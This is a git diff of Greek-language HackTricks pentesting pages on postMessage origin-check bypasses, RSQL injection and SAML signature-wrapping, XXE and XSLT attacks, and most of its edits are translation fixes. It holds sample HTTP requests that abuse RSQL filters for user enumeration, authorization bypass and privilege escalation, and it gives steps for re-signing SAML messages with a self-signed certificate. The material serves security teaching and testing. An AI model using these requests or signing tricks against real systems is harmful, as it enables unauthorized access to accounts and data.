εργαλεία προγραμματιστή του προγράμματος περιήγησης ![](<../../images/image (396).png>) @@ -95,13 +93,13 @@ false "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") ``` -- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα: +- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή στο regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") ``` -- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη. +- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν το regex είναι κακώς δομημένο, μπορεί να είναι επιρρεπές σε παράκαμψη. - Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα: - Αναμενόμενη Αποτυχία: @@ -120,9 +118,9 @@ result = u(new Error("'\"\\")) result.message // "'"\" ``` -Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας `name` που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας. +Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της μόνο για ανάγνωση ιδιότητας `name`. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας. -- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει την προέλευση, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής προέλευσης. +- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει το domain, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής τοποθεσίας. ### Παράκαμψη e.origin == window.origin @@ -158,36 +156,36 @@ bypassing-sop-with-iframes-2.md ### Παράκαμψη X-Frame-Header Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να **τοποθετήσετε τη σελίδα του θύματος** μέσα σε ένα `iframe`. Αλλά ορισμένα headers όπως το `X-Frame-Header` μπορούν να **αποτρέψουν** αυτή τη **συμπεριφορά**.\ -Σε αυτές τις περιπτώσεις, μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της: +Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της: ```html ``` -### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα +### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας τη κύρια σελίδα -Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν παραληφθούν: +Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα **ευαίσθητης postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας τη **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν: {{#ref}} blocking-main-page-to-steal-postmessage.md {{#endref}} -### Κλοπή μηνύματος τροποποιώντας τη διεύθυνση του iframe +### Κλοπή μηνύματος τροποποιώντας τη θέση του iframe -Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να **αλλάξετε τη διεύθυνση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα: +Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να **αλλάξετε τη θέση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα: {{#ref}} steal-postmessage-modifying-iframe-location.md {{#endref}} -### postMessage για Prototype Pollution και/ή XSS +### postMessage σε Prototype Pollution και/ή XSS -Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** την **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`. +Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** τη **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`. Μερικά **πολύ καλά εξηγημένα XSS μέσω `postMessage`** μπορούν να βρεθούν στο [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) -Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε **Prototype Pollution και στη συνέχεια XSS** μέσω ενός `postMessage` σε ένα `iframe`: +Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε την **Προτοτυπική Ρύπανση και στη συνέχεια XSS** μέσω ενός `postMessage` σε ένα `iframe`: ```html @@ -214,9 +212,9 @@ setTimeout(get_code, 2000) ``` Για **περισσότερες πληροφορίες**: -- Σύνδεσμος στη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html) -- Σύνδεσμος στη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html) -- Σύνδεσμος στη σελίδα σχετικά με [**μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) +- Σύνδεσμος προς τη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html) +- Σύνδεσμος προς τη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html) +- Σύνδεσμος προς τη σελίδα σχετικά με [**μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) ## Αναφορές diff --git a/src/pentesting-web/rsql-injection.md b/src/pentesting-web/rsql-injection.md index a7b7858ab..f5eda6d6d 100644 --- a/src/pentesting-web/rsql-injection.md +++ b/src/pentesting-web/rsql-injection.md @@ -1,13 +1,9 @@ # RSQL Injection -## RSQL Injection - {{#include ../banners/hacktricks-training.md}} -## RSQL Injection - ## Τι είναι το RSQL; -Το RSQL είναι μια γλώσσα ερωτημάτων σχεδιασμένη για παραμετροποιημένο φιλτράρισμα εισροών σε RESTful APIs. Βασισμένο στο FIQL (Feed Item Query Language), που αρχικά καθορίστηκε από τον Mark Nottingham για την αναζήτηση Atom feeds, το RSQL ξεχωρίζει για την απλότητά του και την ικανότητά του να εκφράζει σύνθετα ερωτήματα με συμπαγή και συμβατό τρόπο με URI μέσω HTTP. Αυτό το καθιστά εξαιρετική επιλογή ως γενική γλώσσα ερωτημάτων για την αναζήτηση σημείων REST. +Το RSQL είναι μια γλώσσα ερωτημάτων σχεδιασμένη για παραμετροποιημένο φιλτράρισμα εισροών σε RESTful APIs. Βασισμένο στο FIQL (Feed Item Query Language), που αρχικά καθορίστηκε από τον Mark Nottingham για την αναζήτηση Atom feeds, το RSQL ξεχωρίζει για την απλότητά του και την ικανότητά του να εκφράζει σύνθετα ερωτήματα με συμπαγή και συμβατό τρόπο με URI μέσω HTTP. Αυτό το καθιστά εξαιρετική επιλογή ως γενική γλώσσα ερωτημάτων για αναζητήσεις σε REST endpoints. ## Επισκόπηση Η RSQL Injection είναι μια ευπάθεια σε διαδικτυακές εφαρμογές που χρησιμοποιούν το RSQL ως γλώσσα ερωτημάτων σε RESTful APIs. Παρόμοια με την [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) και την [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), αυτή η ευπάθεια συμβαίνει όταν τα φίλτρα RSQL δεν είναι σωστά καθαρισμένα, επιτρέποντας σε έναν επιτιθέμενο να εισάγει κακόβουλα ερωτήματα για να αποκτήσει, να τροποποιήσει ή να διαγράψει δεδομένα χωρίς εξουσιοδότηση. @@ -30,7 +26,7 @@ - **Τροποποίηση ή διαγραφή δεδομένων:** Εισαγωγή φίλτρων που αλλοιώνουν τις εγγραφές της βάσης δεδομένων. - **Αύξηση προνομίων:** Χειρισμός αναγνωριστικών που παρέχουν ρόλους μέσω φίλτρων για να παραπλανήσουν την εφαρμογή αποκτώντας πρόσβαση με προνόμια άλλων χρηστών. - **Αποφυγή ελέγχων πρόσβασης:** Χειρισμός φίλτρων για πρόσβαση σε περιορισμένα δεδομένα. -- **Ψευδής ταυτοποίηση ή IDOR:** Τροποποίηση αναγνωριστικών μεταξύ χρηστών μέσω φίλτρων που επιτρέπουν πρόσβαση σε πληροφορίες και πόρους άλλων χρηστών χωρίς να είναι σωστά πιστοποιημένοι ως τέτοιοι. +- **Ψευδώνυμο ή IDOR:** Τροποποίηση αναγνωριστικών μεταξύ χρηστών μέσω φίλτρων που επιτρέπουν πρόσβαση σε πληροφορίες και πόρους άλλων χρηστών χωρίς να είναι σωστά πιστοποιημένοι ως τέτοιοι. ## Υποστηριζόμενοι RSQL τελεστές | Τελεστής | Περιγραφή | Παράδειγμα | @@ -88,8 +84,8 @@ | `search` | Εκτελεί μια πιο ευέλικτη αναζήτηση | `/api/v2/posts?search=technology` | ## Διαρροή πληροφοριών και αρίθμηση χρηστών -Το παρακάτω αίτημα δείχνει ένα endpoint εγγραφής που απαιτεί την παράμετρο email για να ελέγξει αν υπάρχει κάποιος χρήστης εγγεγραμμένος με αυτό το email και να επιστρέψει αληθές ή ψευδές ανάλογα με το αν υπάρχει ή όχι στη βάση δεδομένων: -### Αίτημα +Η παρακάτω αίτηση δείχνει ένα endpoint εγγραφής που απαιτεί την παράμετρο email για να ελέγξει αν υπάρχει οποιοσδήποτε χρήστης εγγεγραμμένος με αυτό το email και να επιστρέψει αληθές ή ψευδές ανάλογα με το αν υπάρχει ή όχι στη βάση δεδομένων: +### Αίτηση ``` GET /api/registrations HTTP/1.1 Host: localhost:3000 @@ -125,7 +121,7 @@ Content-Length: 85 }] } ``` -Αν και αναμένεται ένα `/api/registrations?email=`, είναι δυνατόν να χρησιμοποιηθούν φίλτρα RSQL για να προσπαθήσετε να καταγράψετε και/ή να εξαγάγετε πληροφορίες χρηστών μέσω της χρήσης ειδικών τελεστών: +Αν και αναμένεται ένα `/api/registrations?email=`, είναι δυνατόν να χρησιμοποιηθούν φίλτρα RSQL για να προσπαθήσουν να καταγράψουν και/ή να εξάγουν πληροφορίες χρηστών μέσω της χρήσης ειδικών τελεστών: ### Request ``` GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1 @@ -208,8 +204,8 @@ Access-Control-Allow-Origin: * } } ``` -## Εξαίρεση εξουσιοδότησης -Σε αυτό το σενάριο, ξεκινάμε από έναν χρήστη με βασικό ρόλο και στον οποίο δεν έχουμε προνομιακές άδειες (π.χ. διαχειριστής) για να αποκτήσουμε πρόσβαση στη λίστα όλων των χρηστών που είναι εγγεγραμμένοι στη βάση δεδομένων: +## Εξαπάτηση εξουσιοδότησης +Σε αυτό το σενάριο, ξεκινάμε από έναν χρήστη με βασικό ρόλο και στον οποίο δεν έχουμε προνομιακές άδειες (π.χ. διαχειριστής) για να αποκτήσουμε πρόσβαση στη λίστα όλων των χρηστών που είναι καταχωρημένοι στη βάση δεδομένων: ### Αίτημα ``` GET /api/users HTTP/1.1 @@ -365,23 +361,7 @@ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site ``` -### Αντίκτυπος - -Η RSQL Injection είναι μια τεχνική που επιτρέπει στους επιτιθέμενους να εκτελούν αυθαίρετες εντολές SQL σε μια βάση δεδομένων μέσω μιας ευάλωτης εφαρμογής. Αυτή η τεχνική εκμεταλλεύεται την αδυναμία της εφαρμογής να επικυρώσει σωστά τις εισόδους του χρήστη. - -#### Πώς λειτουργεί - -Η RSQL Injection εκμεταλλεύεται την ελλιπή επικύρωση των παραμέτρων που αποστέλλονται στην εφαρμογή. Όταν οι παράμετροι αυτοί χρησιμοποιούνται για τη δημιουργία ερωτημάτων SQL, οι επιτιθέμενοι μπορούν να εισάγουν κακόβουλο κώδικα SQL, ο οποίος μπορεί να οδηγήσει σε διαρροή δεδομένων ή ακόμα και σε πλήρη έλεγχο της βάσης δεδομένων. - -#### Προστασία - -Για να προστατευθείτε από την RSQL Injection, είναι σημαντικό να: - -1. Χρησιμοποιείτε παραμετροποιημένα ερωτήματα. -2. Επικυρώνετε και φιλτράρετε όλες τις εισόδους του χρήστη. -3. Εφαρμόζετε περιορισμούς στα δικαιώματα πρόσβασης στη βάση δεδομένων. - -Αυτές οι πρακτικές μπορούν να μειώσουν σημαντικά τον κίνδυνο επιθέσεων RSQL Injection. +### Απόκριση ``` HTTP/1.1 200 Date: Sat, 22 Mar 2025 19:13:45 GMT @@ -411,7 +391,7 @@ Access-Control-Allow-Origin: * }] } ``` -Μετά την αναγνώριση ενός αναγνωριστικού ενός χρήστη διαχειριστή, θα ήταν δυνατό να εκμεταλλευτεί κανείς μια κλιμάκωση προνομίων αντικαθιστώντας ή προσθέτοντας το αντίστοιχο φίλτρο με το αναγνωριστικό του διαχειριστή και αποκτώντας τα ίδια προνόμια: +Μετά την αναγνώριση ενός αναγνωριστικού ενός χρήστη διαχειριστή, θα ήταν δυνατό να εκμεταλλευτούμε μια κλιμάκωση προνομίων αντικαθιστώντας ή προσθέτοντας το αντίστοιχο φίλτρο με το αναγνωριστικό του διαχειριστή και αποκτώντας τα ίδια προνόμια: ### Request ``` GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1 @@ -475,7 +455,7 @@ Access-Control-Allow-Origin: * ....... ``` ## Υποκατάσταση ή Αναφορές Άμεσων Αντικειμένων χωρίς Ασφάλεια (IDOR) -Εκτός από τη χρήση της παραμέτρου `filter`, είναι δυνατή η χρήση άλλων παραμέτρων όπως η `include`, η οποία επιτρέπει την συμπερίληψη στο αποτέλεσμα ορισμένων παραμέτρων (π.χ. γλώσσα, χώρα, κωδικός πρόσβασης...). +Εκτός από τη χρήση της παραμέτρου `filter`, είναι δυνατή η χρήση άλλων παραμέτρων όπως η `include`, η οποία επιτρέπει την συμπερίληψη ορισμένων παραμέτρων στο αποτέλεσμα (π.χ. γλώσσα, χώρα, κωδικός πρόσβασης...). Στο παρακάτω παράδειγμα, εμφανίζεται η πληροφορία του προφίλ του χρήστη μας: ### Request diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 26241729f..44ff12b0d 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -1,7 +1,5 @@ # SAML Attacks -## SAML Attacks - {{#include ../../banners/hacktricks-training.md}} ## Basic Information @@ -53,9 +51,9 @@ First child after round-trip: Z ## Επιθέσεις XML Signature Wrapping -Στις **επιθέσεις XML Signature Wrapping (XSW)**, οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: **επικύρωση υπογραφής** και **κλήση λειτουργίας**. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος **εισάγει πλαστά στοιχεία** που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη **λογική εφαρμογής** και εκείνων που ελέγχονται από το **module επαλήθευσης υπογραφής**. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα **παράνομα στοιχεία**. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την **προστασία ακεραιότητας** και την **αυθεντικότητα προέλευσης** της XML υπογραφής, επιτρέποντας την **εισαγωγή αυθαίρετου περιεχομένου** χωρίς ανίχνευση. +Στις **επιθέσεις XML Signature Wrapping (XSW)**, οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: **επικύρωση υπογραφής** και **κλήση λειτουργίας**. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος **εισάγει πλαστά στοιχεία** που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη **λογική εφαρμογής** και εκείνων που ελέγχονται από το **module επαλήθευσης υπογραφής**. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα **πλαστά στοιχεία**. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την **προστασία ακεραιότητας** και την **αυθεντικότητα προέλευσης** της XML υπογραφής, επιτρέποντας την **εισαγωγή αυθαίρετου περιεχομένου** χωρίς ανίχνευση. -Οι παρακάτω επιθέσεις βασίζονται [**σε αυτήν την ανάρτηση ιστολογίου**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **και** [**σε αυτό το έγγραφο**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Έτσι, ελέγξτε τα για περισσότερες λεπτομέρειες. +Οι παρακάτω επιθέσεις βασίζονται σε [**αυτήν την ανάρτηση στο blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **και** [**αυτήν την εργασία**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Έτσι, ελέγξτε αυτές για περισσότερες λεπτομέρειες. ### XSW #1 @@ -66,8 +64,8 @@ First child after round-trip: Z ### XSW #2 -- **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιλαμβανόμενη υπογραφή. -- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας. +- **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιβάλλουσα υπογραφή. +- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά την επαλήθευση ακεραιότητας. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>) @@ -87,22 +85,22 @@ First child after round-trip: Z ### XSW #5 -- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιλαμβανόμενη/περιλαμβάνουσα/αποσπασμένη). -- **Σημασία**: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, τροποποιώντας τη αναμενόμενη δομή εγγράφου. +- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion τηρούν τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη). +- **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας τη δομή του αναμενόμενου εγγράφου. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>) ### XSW #6 - **Στρατηγική**: Παρόμοια εισαγωγή τοποθεσίας όπως το XSW #4 και #5, αλλά με μια ανατροπή. -- **Σημασία**: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, η οποία στη συνέχεια περιλαμβάνει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή. +- **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, η οποία στη συνέχεια περιβάλλει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>) ### XSW #7 - **Στρατηγική**: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί. -- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα ελέγχου σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML. +- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα επικύρωσης σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>) @@ -119,7 +117,7 @@ First child after round-trip: Z ## XXE -Αν δεν γνωρίζετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα: +Αν δεν ξέρετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα: {{#ref}} ../xxe-xee-xml-external-entity.md @@ -143,23 +141,23 @@ First child after round-trip: Z ... [...] ``` -## Tools +## Εργαλεία -Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα SAML request για να ελέγξετε για πιθανές ευπάθειες XXE και SAML. +Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να ελέγξετε για πιθανές ευπάθειες XXE και SAML. Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI) -## XSLT via SAML +## XSLT μέσω SAML -Για περισσότερες πληροφορίες σχετικά με το XSLT, επισκεφθείτε: +Για περισσότερες πληροφορίες σχετικά με το XSLT, πηγαίνετε στο: {{#ref}} ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} -Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή XML εγγράφων σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε. +Οι Επεξεργασίες Γλώσσας Στυλ Επεκτάσιμες (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετατροπές XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε. -Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads. +Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτόν τον τύπο ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads. ```xml ... @@ -181,7 +179,7 @@ First child after round-trip: Z ``` ### Tool -Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XSLT. +Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να δοκιμάσετε πιθανές ευπάθειες XSLT. Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI) @@ -209,21 +207,21 @@ First child after round-trip: Z 1. Παρέμβαση στην SAML Response. 2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί `Send Certificate to SAML Raider Certs`. -3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα self-signed clone του αρχικού πιστοποιητικού. -4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο self-signed πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature. +3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα αυτο-υπογεγραμμένο κλώνο του αρχικού πιστοποιητικού. +4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο αυτο-υπογεγραμμένο πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature. 5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί `Remove Signatures`. -6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, ανάλογα με την περίπτωση. -7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων. +6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, όπως απαιτείται. +7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το αυτο-υπογεγραμμένο πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων. ## Token Recipient Confusion 